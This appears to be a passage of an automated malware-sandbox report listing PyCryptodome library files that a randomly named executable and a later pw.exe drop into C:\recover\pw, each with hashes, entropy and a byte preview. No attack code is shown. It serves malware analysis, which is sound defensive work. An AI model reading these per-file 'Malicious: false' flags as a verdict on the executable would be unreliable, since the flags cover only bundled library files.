Size (bytes):	2599
Entropy (8bit):	4.5725118156821445
Encrypted:	false
SSDEEP:	24:1REquT4+vZ7+/0wWsAInlNAE+jm53s+eZNcN4n6Rs9Y+CMKoUDT+YsUVRVxzL3:B+h7+/05sX5+jm2+eDqszdPUDXVHVL3
MD5:	0DF7584DEADC1160766A1CF2E07FA3D2
SHA1:	79484FB8B9D7CE922DEBCAF136CDE6176DF649B4
SHA-256:	5CBA0D3C44217538026D4585ACA8F592FC0B21AD618AB11D45715539A365E024
SHA-512:	DD9AF3B3D3CBD332D831206883BF3C902ADCD828108215C00FA0D898B310A92A23D581BA3A513A5EA50880022E6DACF44E0AD1AF52253EE1F094F348F7B971E8
Malicious:	false
Preview:	from typing import Callable, Union, Tuple, Optional, overload, Literal....from Crypto.Math.Numbers import Integer..from Crypto.IO._PBES import ProtParams....__all__ = ['generate', 'construct', 'import_key',.. 'RsaKey', 'oid']....RNG = Callable[[int], bytes]....class RsaKey(object):.. def __init__(self, **kwargs: int) -> None: ....... @property.. def n(self) -> int: ..... @property.. def e(self) -> int: ..... @property.. def d(self) -> int: ..... @property.. def p(self) -> int: ..... @property.. def q(self) -> int: ..... @property.. def u(self) -> int: ..... @property.. def invp(self) -> int: ..... @property.. def invq(self) -> int: ....... def size_in_bits(self) -> int: ..... def size_in_bytes(self) -> int: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ... # legacy.. def can_sign(self) -> bool:... # legacy.. def public_key(self) -> RsaKey: ..... def __eq__(self, other: obj

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3236
Entropy (8bit):	5.060017011908534
Encrypted:	false
SSDEEP:	48:KIB0jcQHMsvI/S3oCFG+FA16eY6ByyvHDKZQLPmO/x/c6VevK94i:dFQHvo7LQT4P6QLeO/a6CK94i
MD5:	4A857A07C057F9867133A3BDF93BCE2F
SHA1:	C49098F9F3D62CDAF15C53AE244AFD60C25356CF
SHA-256:	EE62ED1363AE2633B7498B8AE333E525CEBA8AF94CBA9F1C6DF4939581C759D8
SHA-512:	AB6B0492D6B6C1EC1BB792611493A6E1760B7B7E0F7D1610E6578DFA511E4963DE637E52E7BD2699696845DB6BE75CC96CEC44A47ED06E167719981483B436DE
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\pycache\RSA.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	23783
Entropy (8bit):	5.542703809534938
Encrypted:	false
SSDEEP:	384:3h5ntVDIVVMEPHq5bKA24sW4gEBNZ8CVgwpPjdbRF9UPRCO7GA4Y:PtuMES5R2V+Ed3/pPthKCO7z7
MD5:	3ADE1A2ED2FE30C60F57BD3869763271
SHA1:	D587BFDE62E46BF08FB8C5B40F575725EA1B7A3F
SHA-256:	25DECDA450CDBED879FCA5A24A321C78A3D92BF28C45F0B9FF5D3E40A9B32663
SHA-512:	7CF8B50553D0862837C827400D481B0265F1FA56EFC5EFB913FDD0791820F040A6EA558F2C38B420072B74FD6915BECF4F3BEC5CFB0928A2D78563D23F0C196B
Malicious:	false
Preview:	o.......=k;g.\|.......................@...s....g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d#d.d...Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"d%d d!..Z#e#Z$d"Z%d.S.)&)...generate..construct..import_key..RsaKey..oid.....N)...Random)...tobytes..bord..tostr)...DerSequence..DerNull)...bytes_to_long)...Integer)...test_probable_prime..generate_probable_prime..COMPOSITE)..._expand_subject_public_key_info.._create_subject_public_key_info. _extract_subject_public_key_infoc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z..6.5dKd7d8..Z.d9d:..Z.d;d<..Z d=d>..Z!d?d@..Z"dAdB..Z#dCdD..Z$dEdF..Z%dGdH..Z&dIdJ..Z'd5S.)Lr....a....Class defining an

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\pycache\RSA.cpython-310.pyc.76746496

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	23784
Entropy (8bit):	5.542551698510327
Encrypted:	false
SSDEEP:	384:Kh5ntjDIVVMEPHq5bKA24sW4gEBNZ8CVgwpPjdbRF9UPRCO7GA4Y:Kt4MES5R2V+Ed3/pPthKCO7z7
MD5:	51D83EF3D1C5B89DB3F46B99F0D28B01
SHA1:	009F22A4BE254F49AA145B74A2AE558804325288
SHA-256:	BE0BCAEA2D912BD28B7FF46B2202AB33CB9304355885F7EAEBF80E2FB5B5E8A4
SHA-512:	CD8B8918E8EF0F8D82AE2836617B0FC242DFCBE3DF071CE0AA59B0029DB21C3257F815F691CE5F2BDE28CC03E0235B68766FD8BB1A007D8E734E10675E14FBDD
Malicious:	false
Preview:	o.........Sg.\|.......................@...s....g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d#d.d...Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"d%d d!..Z#e#Z$d"Z%d.S.)&)...generate..construct..import_key..RsaKey..oid.....N)...Random)...tobytes..bord..tostr)...DerSequence..DerNull)...bytes_to_long)...Integer)...test_probable_prime..generate_probable_prime..COMPOSITE)..._expand_subject_public_key_info.._create_subject_public_key_info. _extract_subject_public_key_infoc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z..6.5dKd7d8..Z.d9d:..Z.d;d<..Z d=d>..Z!d?d@..Z"dAdB..Z#dCdD..Z$dEdF..Z%dGdH..Z&dIdJ..Z'd5S.)Lr....a....Class defining an

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	5.369466171448798
Encrypted:	false
SSDEEP:	24:dSSTwk7hkWWe0mOezNJ2dVlcqvO9XYdeGZ9g5+4/kQhO5XF+k9SVOL:USTw1WWXezNJeVlcsso0Gar/xCVf9SVY
MD5:	24A3AE049A5CA11E5BB34DF04660F331
SHA1:	6624ACFFFBC64B1BE3B7FFC59BF707AE5393073F
SHA-256:	8665A7C307BDA6F32D5E75193ADF26F3F5A7753E2BD8DE5B10A83BC6AB0300AB
SHA-512:	124E15773DE8D2E68999565CE89EB255A8E9C53549544531682649E132DA48EF013B33E698DD9A3F285453B07D8FF868EA3ED43D8DE6378B4BAE8A87F05C7B9D
Malicious:	false
Preview:	o.......=k;g.........................@...s8...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.d...Z.d.d...Z.d.S.)......)...DerSequence..DerInteger..DerBitString..DerObjectId..DerNullc....................C...s....t...j.\|.d.d...}.t...j.\|.d...d.d...}.t.....\|.d.....}.t.....\|.d.....j.}.t.\|...d.k.r,d.}.n.z.t.....\|.d.......d.}.W.n.......\|.d...}.Y.\|.j.\|.\|.f.S.).z.Parse a SubjectPublicKeyInfo structure... It returns a triple with:. * OID (string). * encoded public key (bytes). * Algorithm parameters (bytes or None). .......Z.nr_elementsr....)......r....r....N).r......decoder....r......value..lenr....)...encoded..spkiZ.algo..algo_oidZ.spkZ.algo_params..r.....;C:\winnit\pw\lib\site-packages\Crypto\PublicKey\__init__.py.._expand_subject_public_key_info....s............................r....c....................C...s@...\|.d.u.r.t.t.\|...g...}.n.t.t.\|...\|.g...}.t.\|.t.\|...g...}.\|.....S.).N).r....r....r......encode).r....Z.public_key..params..algorithmr....r....r....r......_create_subje

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\pycache\init.cpython-310.pyc.76745936

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	5.365540310563799
Encrypted:	false
SSDEEP:	48:9STw1WWXezNJeVhfcsso0Gar/xCVf9SVY:8sk4Ure3fbsoiSx
MD5:	28E1ED05AD3D1E6FC2AD6A25CA887221
SHA1:	40EA423CF00DFE66634D4F3D9AC4993CE62972F4
SHA-256:	5398DCC4DC32410815A90D8B5D8841F2F2F97586AD2B5C3081B2F136CFF43F19
SHA-512:	AD58B19BABA87CE69450DF32BC1ED8EB8822627BDB9E60DE18E1CFA221F144AD9CC10C6DBA2F3787DD7A0833FFA4649EA76CA2C23394DE6B6F1A17F0C86C3861
Malicious:	false
Preview:	o.........Sg.........................@...s8...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.d...Z.d.d...Z.d.S.)......)...DerSequence..DerInteger..DerBitString..DerObjectId..DerNullc....................C...s....t...j.\|.d.d...}.t...j.\|.d...d.d...}.t.....\|.d.....}.t.....\|.d.....j.}.t.\|...d.k.r,d.}.n.z.t.....\|.d.......d.}.W.n.......\|.d...}.Y.\|.j.\|.\|.f.S.).z.Parse a SubjectPublicKeyInfo structure... It returns a triple with:. * OID (string). * encoded public key (bytes). * Algorithm parameters (bytes or None). .......Z.nr_elementsr....)......r....r....N).r......decoder....r......value..lenr....)...encoded..spkiZ.algo..algo_oidZ.spkZ.algo_params..r.....<C:\recover\pw\lib\site-packages\Crypto\PublicKey\__init__.py.._expand_subject_public_key_info....s............................r....c....................C...s@...\|.d.u.r.t.t.\|...g...}.n.t.t.\|...\|.g...}.t.\|.t.\|...g...}.\|.....S.).N).r....r....r......encode).r....Z.public_key..params..algorithmr....r....r....r......_create_subj

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	720896
Entropy (8bit):	7.668141455946428
Encrypted:	false
SSDEEP:	12288:uad892HoxJ8gf2266y8IXhJvCKAvqVLzcrZgYIMGv1iLD9yQvG6h2:uady2HoxJFf2p3bhcrn5Go9yQO6o
MD5:	4265AFF5E6C9B13A397DB9FB5DB7E0F8
SHA1:	E82C09FD6C0CEFD3DB6C85B675AA1DBEC3B84849
SHA-256:	54F51DBA779A9FE9C0CA18A62D2BF696A7463FB76EEB5B79AC0761BEDCFF58F5
SHA-512:	D6BD223A48664BC8B1FA3600D621515F492681FC147026B56C9B5B001F36961E84B6FAD4605A37D09DA2B1C10F37E7BE3F361EFAD53D36B07955832615D55EA4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.....Z...Z...Z..jZ...Z...[...ZF..[...Z...Z*..Z...[...Z...[...Z...[...Z7..[...Z7..[...Z7..Z...Z7..[...ZRich...Z........PE..L...:..e...........!...%............T........ ...............................@............@.........................@...d.......d.... .......................0..........................................@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data...............................@....rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	6.105707923864752
Encrypted:	false
SSDEEP:	384:It9aokJdjVNiqNJ5vTVu7C6dWM9FVTCIhQ5xWEARnlYT:IZkFNiqL5T+CyWMFV9hQ50EClYT
MD5:	E36E97264A271CBB7FA58DF7E873382C
SHA1:	213CD5DAA4EF7463D436ED49D972FC176BFB8E38
SHA-256:	C58844CFA2B34C5AA197DFD8C891F1D06EA08B7B1F91D87DB5A0B93BB349A87D
SHA-512:	18E0EF6EB7AA5B856BF76339D8FD59D9CBC46AB3226AC0C9773ADB8D8210361409AF443B33BE0C9CFADC9E6FA9B6DD377690E06FC557F59CC17C347D97385A38
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i....P..i.......i......i...i...i.......i.......i.......i.......i.......i....<..i.......i..Rich.i..........PE..L...;..e...........!...%.@..........N........P............................................@.........................@U..0...pV..d....p...............................Q.............................. Q..@............P..x............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...T....`.......N..............@....rsrc........p.......T..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_ed448.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	6.2529879407981
Encrypted:	false
SSDEEP:	768:TqWAfiKd/obDZoaZweTh3W1dzl4Ow0ffPp0TGUMIoSb4HoaEB4:TgAbDZo4hsbZnPCTMIoSb4HoaZ
MD5:	39FB9B0D6C84C01B4BF29AAB7AB897C0
SHA1:	91130A7F119D380B583D0AA5238A3142A90F1299
SHA-256:	9EC53C4D0531806B15C4AC4A4E3DF0B279DE3B85FB4F42874F855A99E5E1D72A
SHA-512:	2117B21C5AE23CABE694F0E1D18B1BD558F3C1CE69C079A85F79609D515ABE3D0BED4B4061541FBD17C9541300461FD94DB78A723D78DBD030A069E35F03DA04
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........em...>...>...>...>...>...?...>...?...>...>...>...?...>...?...>...?...>...?...>...?...>...>...>...?...>Rich...>........................PE..L...<..e...........!...%..... ......T.....................................................@.............................h...h...d...................................x...................................@...............\|............................text...5........................... ..`.rdata..............................@..@.data...p...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_openssh.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5261
Entropy (8bit):	5.187172722384075
Encrypted:	false
SSDEEP:	96:M4DqrYJALrYJHdt3EHGuIcWIKiYHbJM/pQ4W8NtOH6mCli0yZRYAD0Ov:Jqrskrs9t3q/Ih2/yzy66NlNyQW0Ov
MD5:	1BCBC8A97A925C34AAA01860EE4D8D63
SHA1:	CCF52E350B94DA06E6D8980E31CB93300A70B1C4
SHA-256:	B92D60974EF5FF39314516C2FA7ADF20886C4201C9AEA68EC633F921D4ED4B63
SHA-512:	BF9AB4DC9294CC4E70D500E594D72923722EC9A528B59881649730B89E4B6F89CCFD3E056A4DCEE0A59B416CEC513C2F7D97C326B680149173BAE01C9DC99394
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2019, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_openssh.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	4.758113161274864
Encrypted:	false
SSDEEP:	6:1REYB6RNx6FJdRloxdRX8jL8SdyAEBfFpU80/p9YKXrH0L8Sy:1REYB6RT61Rlo3RX8jLVMBM80/p+MrUe
MD5:	8BEBFA73A502269CB8A0C4CE6C714C5A
SHA1:	176037806AA4E83D03FEDCC40CBACF9D1D5F675A
SHA-256:	564C2B01DC5D096BF508761DB881E201172E2D60E939BA2F78E20BE46A74DDA0
SHA-512:	50C4AE1F408F98EA4650966444F3E552559A3D92ED79EC66E0C3424A6EBAA11AD577F47853C91BCDC1B5910C2A2815D55CCEFD23D5C1E0BD4F02136CCB3D8884
Malicious:	false
Preview:	from typing import Tuple....def read_int4(data: bytes) -> Tuple[int, bytes]: .....def read_bytes(data: bytes) -> Tuple[bytes, bytes]: .....def read_string(data: bytes) -> Tuple[str, bytes]: .....def check_padding(pad: bytes) -> None: .....def import_openssh_private_generic(data: bytes, password: bytes) -> Tuple[str, bytes]: .....

C:\recover\pw\Lib\site-packages\Crypto\PublicKey\_x25519.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.911844496867438
Encrypted:	false
SSDEEP:	96:+5qu39PERtoqPAF+7BWM8o5WJ1ks/vnpjOQhWd0xiMmGffQzQrXd:iqu39PE5guBWMNWJzhjOQUixiMVnkwN
MD5:	A2556847EDC0C83BD663BDCF0DE3CA66
SHA1:	B732652A1EFB8A3CFE3203C8ABA35CCD8DCE254A
SHA-256:	50912E465830D1DBA13CA796D1B09FC85DEC83C9EF1C2AB1948366FD95B7C0BC
SHA-512:	9F93B8C70B8D5EA9E16959F90535F92A73CC7A178BD2BD51D11EF5F59EFEDB0AD4A1A435B63AE85A7D824F661221964E2F1B69AF38F18BB7A74B4F0B3EE07A7C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................R.................................................N.......N.......N>......N......Rich....................PE..L...;..e...........!...%............N........ ...............................`............@.........................@%..P....%..P....@.......................P..@....!...............................!..@............ ..h............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..@....P....... ..............@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\Lib\site-packages\Crypto\Random\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1866
Entropy (8bit):	5.171387928684167
Encrypted:	false
SSDEEP:	48:hIB0jcQHMsvI/S3oCFadPyopEm7XRXTR5:SFQHvohqTm7XRXF5
MD5:	F6DAA1095142342733AB132C05D1DDFE
SHA1:	1EBAFA39A224F69887333A00E0AE1BD69178315E
SHA-256:	05E8D3E5D2B18C1731189DB337B04CB83E966DC385930836FA22E9EE0F376FB9
SHA-512:	246058D7F397CDCACE81B09FDEBA5B17C240264A70375D99B4FD0FFBFFC54208D312BC38894E74B531BD3F9CB40105FA9DD834C74250B73A0C8E8DB583FB0E41
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Random/__init__.py : PyCrypto random number generation..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ==

C:\recover\pw\Lib\site-packages\Crypto\Random\init.pyi

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	386
Entropy (8bit):	4.828244249619416
Encrypted:	false
SSDEEP:	6:1REYBFovLD2dC1ZSM+mHv0tAE7Ky3L5RSMtAMjMEFy7yA4TSJDZj5:1REYB8D2ACM+meh7KyVVpJy7yAGkDR5
MD5:	A4CDA07BACD9EDBD7C0243B029D79400
SHA1:	B068F43B0EAE31972C2B6C6335BBCA2497B948FB
SHA-256:	3A9548EF07A83C2F2BF7DB05EDB776BD788B9D9C112EA8155333242839CC27D7
SHA-512:	A1412BAF95D6910D821B927BE91CFD740F2DD8A98E259950E5FF06409CEC8E01EB6B06AC1747A8FF06098849142EBF2754AEED361FFCD37954FFFC13BCE1D3C0
Malicious:	false
Preview:	from typing import Any....__all__ = ['new', 'get_random_bytes']....from os import urandom....class _UrandomRNG(object):.... def read(self, n: int) -> bytes:..... def flush(self) -> None: ..... def reinit(self) -> None: ..... def close(self) -> None: .......def new(args: Any, *kwargs: Any) -> _UrandomRNG: .......def atfork() -> None: .......get_random_bytes = urandom....

C:\recover\pw\Lib\site-packages\Crypto\Random\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	4.6079712042356435
Encrypted:	false
SSDEEP:	24:utWRuX2i3FOd3krMInkOCUqxUNRQj/jfhlHJ4fEByWkJwjGP4gE/:5RHd0AUEU9iDrtP6Af
MD5:	3F33D17EA7B5302340FBEB16E36DE8E7
SHA1:	285D93C38763DD733A4CB65B578BEED4A4B0F971
SHA-256:	79453A1B493DAB04A842AA916278482B60AFCB1E33B8E3A8E8E045E44F8FFAC3
SHA-512:	F6669DD071A8F8C3EC43D9B07D060A42A6D62B166414450B97AE4D8D1E2EA5383C36CB21BBA5D2880EC8C1C5AF45F466B57394FE951819E1384C006171A54D20
Malicious:	false
Preview:	o.......=k;gJ........................@...s<...d.d.g.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.d...Z.e.Z.d.S.)...new..get_random_bytes.........urandomc....................@...s,...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._UrandomRNGc....................C...s....t.\|...S.).z0Return a random byte string of the desired size.r....)...self..n..r.....8C:\winnit\pw\lib\site-packages\Crypto\Random\__init__.py..read....s......z._UrandomRNG.readc....................C........d.S...z0Method provided for backward compatibility only.Nr......r....r....r....r......flush!..........z._UrandomRNG.flushc....................C...r....r....r....r....r....r....r......reinit%...r....z._UrandomRNG.reinitc....................C...r....r....r....r....r....r....r......close)...r....z._UrandomRNG.closeN)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r....r........s..............r....c....................O...s....t...S.).zFReturn a file-like object that outputs cryptographically random byt

C:\recover\pw\Lib\site-packages\Crypto\Random\pycache\init.cpython-310.pyc.77045392

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.6043419686162546
Encrypted:	false
SSDEEP:	24:/tWRuX2i3FOd3krkInkOCUqxUNRQj/jfhlHJ4fEByWkJwjGP4gE/:kRHd0gUEU9iDrtP6Af
MD5:	D21806EE3F3464BE87B5D27D8DE67F5D
SHA1:	1690C7375E71D80241E7C9CAFCF06ED26605997D
SHA-256:	ACF1FDD83360D6CE3F80F5DA7EF42DE1A1C2ED0C7E7549609BB8E11FCE9CF087
SHA-512:	8A3A7388CD42762089CF0FE58A644184AAA96D6CB82C2CEB824EB58A85978781D6B460F868AF6800C6FFCC62761FA8DA66522EAF83415CA13A6B18F095B5C8B0
Malicious:	false
Preview:	o.........SgJ........................@...s<...d.d.g.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.d...Z.e.Z.d.S.)...new..get_random_bytes.........urandomc....................@...s,...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._UrandomRNGc....................C...s....t.\|...S.).z0Return a random byte string of the desired size.r....)...self..n..r.....9C:\recover\pw\lib\site-packages\Crypto\Random\__init__.py..read....s......z._UrandomRNG.readc....................C........d.S...z0Method provided for backward compatibility only.Nr......r....r....r....r......flush!..........z._UrandomRNG.flushc....................C...r....r....r....r....r....r....r......reinit%...r....z._UrandomRNG.reinitc....................C...r....r....r....r....r....r....r......close)...r....z._UrandomRNG.closeN)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r....r........s..............r....c....................O...s....t...S.).zFReturn a file-like object that outputs cryptographically random by

C:\recover\pw\Lib\site-packages\Crypto\Random\pycache\random.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	3380
Entropy (8bit):	5.290021937132859
Encrypted:	false
SSDEEP:	96:4k/Yq7xcJ5PPcWgudGUJFp9YY3sjuhXNvLHf85jL:4WS5PP7gO8Y31hdvLH6
MD5:	2F78D0B5107F28709ED83CD96487082E
SHA1:	49034A42140801450738EE05EE5CF82CD02F0EFF
SHA-256:	E0749A9520AC1578688A2DA15F97930149BBFA44EC889415D65BD7737935CF27
SHA-512:	59C0B1007551DBEA82C7CC25DBEA5AF5154060892129E5EE00988EAB42ECBB5421B70DA3A107029FAAE7E9F52EAC85595614FE68018566B1BB12F82CD37CD714
Malicious:	false
Preview:	o.......=k;g.........................@...sv...g.d...Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.S.).)...StrongRandom..getrandbits..randrange..randint..choice..shuffle..sample.....)...Random)...is_native_intc....................@...sF...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...sX...\|.d.u.r.\|.d.u.r.d.\|._.d.S.\|.d.u.r.\|.d.u.r.\|.\|._.d.S.\|.d.u.r(\|.d.u.r(\|.j.\|._.d.S.t.d.....).Nz(Cannot specify both 'rng' and 'randfunc')..._randfunc..read..ValueError)...self..rng..randfunc..r.....6C:\winnit\pw\lib\site-packages\Crypto\Random\random.py..__init__ ...s..................z.StrongRandom.__init__c....................C...s:...\|.j.d.u.r.t.....j.\|._.d.\|.>.d...}.\|.t.\|...t.\|.d.......@.S.).z%Return an integer with k random bits.N..........).r....r......newr......bytes_to_long..ceil_div).r......k..maskr....r....r....r....*...s............z.StrongRandom.getrandbitsc.................

C:\recover\pw\Lib\site-packages\Crypto\Random\pycache\random.cpython-310.pyc.77948816

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3381
Entropy (8bit):	5.288054386073564
Encrypted:	false
SSDEEP:	96:Zk/Yq7x0J5PPcWgudGUJFp9YY3sjuhXNvLHf85jL:ZW+5PP7gO8Y31hdvLH6
MD5:	8ACA260E00B76DB75526CEDE3BF7F9D5
SHA1:	95F674300591FA3C77310108A9D067625CCB0580
SHA-256:	A3DF63C9084F21F7C08CAC49FCDB142C08E83169176CA241BCC89EF13B737211
SHA-512:	F65D87B1273EFE52AFDF9ADAE9693CD23FFB70F57BE431CE5ED0E04428B27DF779E3D5E253F8614437C366BFF86D6F05507CBC7FA28EC0B97655853199027F23
Malicious:	false
